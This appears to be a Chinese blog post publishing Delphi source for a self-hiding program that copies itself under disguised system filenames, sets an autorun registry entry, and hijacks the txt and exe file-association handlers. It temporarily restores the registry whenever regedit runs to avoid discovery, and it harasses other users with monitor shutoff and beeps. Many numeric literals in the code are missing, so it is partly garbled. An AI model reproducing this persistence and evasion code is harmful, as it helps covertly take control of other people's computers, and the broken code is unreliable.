DELPHI实现关闭指定进程,自身防杀
偶然翻到很久以前用DELPHI写的一个小程序,实现功能是在后台默默关闭符合条件的进程,并隐藏自身。编写目的是为了防止办公电脑运行游戏。
实现原理是:
1、程序运行后将自身以不同的名称一式三份存到系统各目录中,将其中一个COPY写到注册表里开机自启动,然后修改注册表中txt文件和exe文件打开方式分别指向另两个COPY,达到监控目的。
2、程序一但激活首先会确认各COPY是否存在以及注册表关联是否正常,然后再检查系统是否运行在禁止名单中的进程,发现就杀死。
3、如果程序监控到用户运行regedit则会将注册表改回正常值,当regedit退出后再将修改写回,以防用户发现。(这在杀毒软件还很落后的年代效果还是相当好的)
4、程序保留了卸载的功能,代码里有写。
自己感觉挺有意思,把代码发上来留个纪念。
//为了防止一些人上班就玩游戏的恶习所编
program HK; uses
Windows,
Messages,
SysUtils,
System,
Classes,
Registry,
Forms,
Controls,
LoadDLL in 'LoadDLL.pas'; var
I:Integer;
SPath,WPath:PCHAR;
pa:string;
hnd: THandle;
sp:boolean;
sFileName:String; //function RegisterServiceProcess(dwProcessId, dwServiceType: DWord): Bool; stdcall; //function RegisterServiceProcess; external 'Kernel32.dll' Name 'RegisterServiceProcess'; procedure procRun(exeName,exePath:PChar;trace:boolean);
var
SUInfo: TStartupInfo;
ProcInfo: TProcessInformation;
begin
FillChar(SUInfo, SizeOf(SUInfo), #);
with SUInfo do
begin
cb := SizeOf(SUInfo);
dwFlags := STARTF_USESHOWWINDOW;
wShowWindow :=;
end;
if CreateProcess(NIL,exeName, NIL, NIL, FALSE,CREATE_NEW_CONSOLE or NORMAL_PRIORITY_CLASS, NIL,exePath, SUInfo, ProcInfo) then
begin
if trace then
WaitForSingleObject(ProcInfo.hProcess, INFINITE);
CloseHandle(ProcInfo.hProcess);
CloseHandle(ProcInfo.hThread);
end;
end; procedure procSetReg(rest:boolean);
var
Reg:TRegistry;
begin
Reg:=Tregistry.Create;
try
if rest then
begin
reg.rootkey:=HKEY_CLASSES_ROOT;
if reg.OpenKey('\txtfile\shell\open\command',true) then
reg.WriteExpandString('',WPath+'\NOTEPAD.exe %1');
reg.closekey;
if reg.OpenKey('\exefile\shell\open\command',true) then
reg.WriteExpandString('','"%1" %*');
reg.closekey;
reg.RootKey:=HKEY_LOCAL_MACHINE;
if reg.openkey('\Software\Microsoft\Windows\CurrentVersion\Run',True) then
reg.DeleteValue('SysOleRun');
reg.closekey;
end
else
begin
reg.RootKey:=HKEY_LOCAL_MACHINE;
if reg.openkey('\Software\Microsoft\Windows\CurrentVersion\Run',True) then
reg.writestring('SysOleRun',spath+'\ObjDDC.exe');
Reg.CloseKey;
reg.rootkey:=HKEY_CLASSES_ROOT;
if reg.OpenKey('\txtfile\shell\open\command',true) then
reg.WriteExpandString('',spath+'\WinODBC.exe %1');
reg.closekey;
if reg.OpenKey('\exefile\shell\open\command',true) then
reg.WriteExpandString('',spath+'\OLEDevice.exe %1 %*');
reg.closekey;
end;
finally
Reg.Free;
end;
end; procedure BeepEx(feq:word=;delay:word=); procedure BeepOff;
begin
asm
in al,$;
and al,$fc;
out $,al;
end;
end;
const
scale=;
var
temp:word;
begin
temp:=scale div feq;
asm
in al,61h;
or al,;
out 61h,al;
mov al,$b6;
out 43h,al;
mov ax,temp;
out 42h,al;
mov al,ah;
out 42h,al;
end;
sleep(delay);
beepoff;
end; procedure UserPass();
var
a,b:integer;
t:longword;
UserName:PCHAR;
begin
if sp then
begin
t:=;
GetMem(UserName,);
try
getusername(UserName,t);
if UserName<>'lykyl' then
begin
messagebox(,'非法用户,操作限制!','系统警告!',MB_OK);
for a:= to do
begin
SendMessage(, WM_SYSCOMMAND, SC_MONITORPOWER, );
for b:= to do
begin
BeepEx(,);
beepex(,);
end;
SendMessage(, WM_SYSCOMMAND, SC_MONITORPOWER, -);
messagebox(,'非法用户身份确定','系统警告!',MB_OK);
end;
end;
finally
freemem(UserName);
end;
end;
end;
{$R *.RES} begin
hnd := CreateMutex(nil, True, 'irgendwaseinmaliges');
if GetLastError = ERROR_ALREADY_EXISTS then
sp:=false
else
sp:=true;
//RegisterServiceProcess(, RSP_SIMPLE_SERVICE);
GetMem(SPath,);
GetMem(WPath,);
GetSystemDirectory(SPath,);
GetWindowsDirectory(WPath,);
SetLength(sFileName,);
GetModuleFileName(GetCurrentProcess,Pchar(sFileName),);
sFileName:=Pchar(sFileName);
try
if ExtractFileName(sFileName)='lykyl.exe' then
procSetReg(true)
else
begin
Copyfile(pchar(sFileName),pchar(spath+'\WinODBC.exe'),false);
Copyfile(pchar(sFileName),pchar(spath+'\OLEDevice.exe'),false);
Copyfile(pchar(sFileName),pchar(WPath+'\ObjDDc.exe'),false);
procSetReg(false);
for i:= to ParamCount do
if i= then
pa:=ParamStr(i)
else
pa:=pa+' '+ParamStr(i);
if Pa <>'' then
begin
if ExtractFileName(sFileName)='WINODBC.EXE' then
begin
UserPass();
procRun(PChar(WPath+'\NOTEPAD.EXE '+pa),PChar(ExtractFilePath(WPath+'\')),false);
end
else
if ExtractFileName(sFileName)='OLEDEVICE.EXE' then
begin
UserPass();
if AnsiStrPos(pchar(pa),'regedit')<>nil then
begin
procSetReg(true);
procRun(PChar(pa),PChar(ExtractFilePath(pa)),true);
procSetReg(false);
end
else
begin
procRun(PChar(pa),pchar(extractfilepath(pa)),false);
end;
end;
end;
end;
finally
freemem(SPath);
freemem(WPath);
if hnd <> then CloseHandle(hnd);
// RegisterServiceProcess(, RSP_UNREGISTER_SERVICE);
end;
end.
DELPHI实现关闭指定进程,自身防杀的更多相关文章
- Delphi 中关闭指定进程的方法
Uses Windows, SysUtils, Tlhelp32 ; Function KillTask( ExeFileName: String ): Integer ; //关闭进程 Functi ...
- mac查看当前调用tcp的进程并关闭指定进程
查看所有tcp进程 监听的端口 lsof -iTCP -sTCP:LISTEN 查看指定端口信息 lsof -i: 关闭指定进程 kill -
- Shell 关闭指定进程
例如要关闭jupyter-notebook这个进程: - | 说明:管道符“|”用来隔开两个命令,管道符左边命令的输出会作为管道符右边命令的输入. “ps -ef” 查看所有进程 “grep -v g ...
- shell关闭指定进程
例如要关闭jupyter-notebook这个进程: ps -ef | grep jupyter-notebook | grep -v grep | cut -c 9-15 | xargs kill ...
- C#如何关闭指定进程
public static void KillProcess(string strProcessesByName)//关闭线程 { foreach (Process p in Process.GetP ...
- Inno Setup安装时不能关闭指定进程
脚本由 Inno Setup 脚本向导 生成!; 有关创建 Inno Setup 脚本文件的详细资料请查阅帮助文档! #define MyAppName "XX管理系统"#defi ...
- 性能优化-service进程防杀
service作为后台服务,其重要性不言而喻,但很多时候service会被杀死,从而失去了我们原本想要其发挥的作用,在这种情况下我们该如何确保我们的service不被杀死就是本节需要讨论的内容了 se ...
- 使用VC++通过远程进程注入来实现HOOK指定进程的某个API
前阵子读到一篇关于<HOOK API入门之Hook自己程序的MessageBoxW>的博客,博客地址:http://blog.csdn.net/friendan/article/detai ...
- Inno Setup 系列之安装、卸载前检测进程运行情况并关闭相应进程
需求 最近用 Inno Setup 做一个exe,可是在安装之前要停止正在运行的相应进程或者在卸载之前要停止正在运行的相应进程,可是发现它自身的方法不能满足要求,最后经过度娘的耐心帮助下终于在网上找到 ...
随机推荐
- UI控件(UIImageView)
@implementation ViewController - (void)viewDidLoad { [super viewDidLoad]; image1_ = [UIImage imageNa ...
- [转] Agile Software Development 敏捷软件开发
原文作者:kkun 原文地址:http://www.cnblogs.com/kkun/archive/2011/07/06/agile_software_development.html 敏捷是什么 ...
- 让浏览器不再显示 https 页面中的 http 请求警报
HTTPS 是 HTTP over Secure Socket Layer,以安全为目标的 HTTP 通道,所以在 HTTPS 承载的页面上不允许出现 http 请求,一旦出现就是提示或报错: Mix ...
- 在JS中获取文件点之后的后缀字符
var upFileName = $("#fileToUpload").val();var index1=upFileName.lastIndexOf(".") ...
- fir.im Weekly - 关于 Log Guru 开源、Xcode 探索和 Android7.0 适配
本期 fir.im Weekly 整理了最近的一些技术分享,包括关于 Log Guru 开源.Xcode 探索. Android7.0 适配等等 iOS/Android 相关的工具.源码分享和技术文章 ...
- JS数组定义及详解
1.什么是数组 数组就是一组数据的集合 其表现形式就是内存中的一段连续的内存地址 数组名称其实就是连续内存地址的首地址 2.关于js中的数组特点 数组定义时无需指定数据类型 数组定义时可以无需指定数组 ...
- DPI深度包检测
最近在读网络协议方面的论文,接触到DPI技术.博主是个小白,这里写些查到的笔记. 原文出处因为比较多,杂乱.百度文库和许多地方都有,就不贴链接了. 1. DPI 全称为"Deep Packe ...
- 【WP 8.1开发】How to 图像处理
在今天的吹牛节目开始之前,先交代一件事: 关于玩WP 8.1开发所使用的VS版本问题.对版本的要求是2013的Update2,这是最低要求,只要是这个版本或以上都可以,而update3,update4 ...
- jQuery 2.0.3 源码分析Sizzle引擎 - 解析原理
声明:本文为原创文章,如需转载,请注明来源并保留原文链接Aaron,谢谢! 先来回答博友的提问: 如何解析 div > p + div.aaron input[type="checkb ...
- ASP.NET MVC之文件上传【二】(九)
前言 上一节我们讲了简单的上传以及需要注意的地方,查相关资料时,感觉上传里面涉及到的内容还是比较多,于是就将上传这一块分为几节来处理,同时后续也会讲到关于做上传时遗漏的C#应该注意的地方,及时进行查漏 ...